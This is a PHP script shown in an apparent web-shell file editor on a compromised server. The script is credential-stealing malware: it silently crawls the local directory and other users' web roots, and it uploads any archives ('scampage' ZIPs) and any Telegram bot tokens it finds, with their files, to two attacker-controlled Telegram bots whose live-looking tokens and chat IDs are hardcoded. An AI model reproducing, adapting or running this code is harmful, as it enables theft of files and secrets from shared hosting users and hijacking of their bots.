Login

Edit File: 3K3AWLSLR.php

<?php
ini_set('memory_limit', '-1');
set_time_limit(0);
ini_set('display_errors', 0);
error_reporting(0);
ignore_user_abort(true);

// ZIPs / scampages
$botToken   = "8576265849:AAHRNJ7juYy5oY_oYmp0zPty2L_VTSRJnMg";
$chatId     = "8341100328";

// Tokens only
$tokenBot   = "9182497767:AAFwg9BYzesUCKCBofN0pq48fv_x3cV8ND4";
$tokenChat  = "-5161708058";
$scanRoot = __DIR__;

// ?test=1 — diagnose both bots + show detected tokens without sending
if (isset($_GET['test'])) {
    header('Content-Type: text/plain');
    echo "=== BETA.PHP DIAGNOSTIC ===\n\n";
    // Test ZIP bot
    $ch = curl_init("https://api.telegram.org/bot{$botToken}/sendMessage");
    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1,CURLOPT_POST=>1,CURLOPT_POSTFIELDS=>['chat_id'=>$chatId,'text'=>'[TEST] ZIP bot OK from '.gethostname()],CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_TIMEOUT=>10]);
    $r = curl_exec($ch); $e = curl_error($ch); $c = curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch);
    echo "ZIP bot HTTP: $c | err: ".($e?:'none')."\n";
    // Test token bot
    $ch = curl_init("https://api.telegram.org/bot{$tokenBot}/sendMessage");
    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1,CURLOPT_POST=>1,CURLOPT_POSTFIELDS=>['chat_id'=>$tokenChat,'text'=>'[TEST] Token bot OK from '.gethostname()],CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_TIMEOUT=>10]);
    $r = curl_exec($ch); $e = curl_error($ch); $c = curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch);
    echo "Token bot HTTP: $c | err: ".($e?:'none')."\nResponse: $r\n\n";
    // Dry-run scan — show what would be detected
    echo "--- DETECTED TOKENS (dry run) ---\n";
    $self = basename(__FILE__);
    $found = 0;
    $scanDirs = [$scanRoot];
    foreach (['/home/*/public_html','/home/*/www','/var/www/*','/var/www/html/*'] as $pat)
        foreach (glob($pat, GLOB_ONLYDIR) ?: [] as $d) $scanDirs[] = $d;
    foreach (array_unique($scanDirs) as $sd) {
        $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($sd, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST);
        foreach ($it as $fi) {
            if ($fi->isDir() || $fi->getFilename() === $self) continue;
            $c2 = @file_get_contents($fi->getPathname());
            if (!$c2) continue;
            $tok = '';
            if (preg_match('/https?:\/\/api\.telegram\.org\/bot(.+?)\/send/i', $c2, $m)) {
                $raw = trim($m[1]);
                if (preg_match('/^\d{9,11}:[a-zA-Z0-9_\-]{30,}$/', $raw)) $tok = $raw;
                elseif (preg_match('/^\{?\$([a-zA-Z_][a-zA-Z0-9_]*)\}?$/', $raw, $vm)) {
                    if (preg_match('/\$'.preg_quote($vm[1]).'\s*=\s*["\']([^"\']+)["\']/', $c2, $vv)) $tok = $vv[1];
                }
            }
            if (!$tok && preg_match('/\d{9,11}:[a-zA-Z0-9_\-]{35}/', $c2, $m)) $tok = $m[0];
            if ($tok && preg_match('/^\d{9,11}:[a-zA-Z0-9_\-]{30,}$/', $tok)) {
                echo "FOUND: $tok\n  File: ".$fi->getPathname()."\n";
                $found++;
            }
        }
    }
    echo "\nTotal tokens found: $found\n";
    exit(0);
}

// Send response immediately so i.py gets "started" and moves on
if (php_sapi_name() !== 'cli') {
    while (ob_get_level() > 0) ob_end_clean();
    $body = 'started';
    header('Content-Type: text/plain');
    header('Content-Length: ' . strlen($body));
    header('Connection: close');
    echo $body; ob_flush(); flush();
}

function tgMsg($botToken, $chatId, $text) {
    $ch = curl_init("https://api.telegram.org/bot{$botToken}/sendMessage");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_POST           => 1,
        CURLOPT_POSTFIELDS     => ['chat_id' => $chatId, 'text' => $text],
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_TIMEOUT        => 15,
    ]);
    curl_exec($ch); curl_close($ch);
}

function tgFile($botToken, $chatId, $filePath, $caption = '') {
    if (!file_exists($filePath) || filesize($filePath) > 50 * 1024 * 1024) return;
    $ch = curl_init("https://api.telegram.org/bot{$botToken}/sendDocument");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_POST           => 1,
        CURLOPT_POSTFIELDS     => ['chat_id' => $chatId, 'caption' => $caption, 'document' => new CURLFile($filePath)],
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_TIMEOUT        => 60,
    ]);
    curl_exec($ch); curl_close($ch);
}

function scan($dir, $botToken, $chatId, $tokenBot, $tokenChat, &$seenTokens, &$seenZips) {
    $dh = @opendir($dir);
    if (!$dh) return;
    $self = basename(__FILE__);

while (($file = readdir($dh)) !== false) {
        if ($file === '.' || $file === '..') continue;
        $path = "$dir/$file";

if (is_dir($path)) { scan($path, $botToken, $chatId, $tokenBot, $tokenChat, $seenTokens, $seenZips); continue; }

// ZIP / scampage archive — dedupe by realpath
        if (preg_match('/\.(zip|rar|7z|tar\.gz|tar\.bz2)$/i', $file)) {
            $rp = realpath($path) ?: $path;
            if (!isset($seenZips[$rp])) {
                $seenZips[$rp] = true;
                tgMsg($botToken, $chatId, "[SCAMPAGE ZIP]\nFile: $file\nHost: " . gethostname() . "\nPath: $path");
                tgFile($botToken, $chatId, $path, "[ZIP] $file");
            }
        }

if ($file === $self) continue;

$content = @file_get_contents($path);
        if (!$content) continue;

// Token detection — URL-based
        $token = '';
        if (preg_match('/https?:\/\/api\.telegram\.org\/bot(.+?)\/send/i', $content, $m)) {
            $raw = trim($m[1]);
            if (preg_match('/^\d{9,11}:[a-zA-Z0-9_\-]{30,}$/', $raw)) {
                $token = $raw;
            } elseif (preg_match('/^\{?\$([a-zA-Z_][a-zA-Z0-9_]*)\}?$/', $raw, $varM)) {
                $vn = $varM[1];
                if (preg_match('/\$' . preg_quote($vn) . '\s*=\s*["\']([^"\']+)["\']/', $content, $vv))
                    $token = $vv[1];
            } elseif (preg_match('/\.\s*\$([a-zA-Z_][a-zA-Z0-9_]*)\s*\./', $raw, $varM)) {
                $vn = $varM[1];
                if (preg_match('/\$' . preg_quote($vn) . '\s*=\s*["\']([^"\']+)["\']/', $content, $vv))
                    $token = $vv[1];
            }
        }
        // Bare token fallback
        if (!$token && preg_match('/\d{9,11}:[a-zA-Z0-9_\-]{35}/', $content, $m))
            $token = $m[0];

if ($token && preg_match('/^\d{9,11}:[a-zA-Z0-9_\-]{30,}$/', $token)) {
            // Dedupe by token value — same token in 10 files = 1 alert
            if (!isset($seenTokens[$token])) {
                $seenTokens[$token] = true;
                $chatIdFound = '';
                if (preg_match_all('/(?:^|[^0-9])([\-]?(?:100)?\d{9,11})(?:[^0-9]|$)/', $content, $ids))
                    $chatIdFound = $ids[1][1] ?? '';
                tgMsg($tokenBot, $tokenChat, "[TOKEN FOUND]\nToken: $token\nChatID: $chatIdFound\nHost: " . gethostname() . "\nPath: $path");
                tgFile($tokenBot, $tokenChat, $path, "[TOKEN] $file");
            }
        }
    }
    closedir($dh);
}

$seenTokens = [];
$seenZips   = [];
foreach (getRoots($scanRoot) as $root) {
    scan($root, $botToken, $chatId, $tokenBot, $tokenChat, $seenTokens, $seenZips);
}

Download

File Manager

Files in the directory:

Upload a File

Edit File: 3K3AWLSLR.php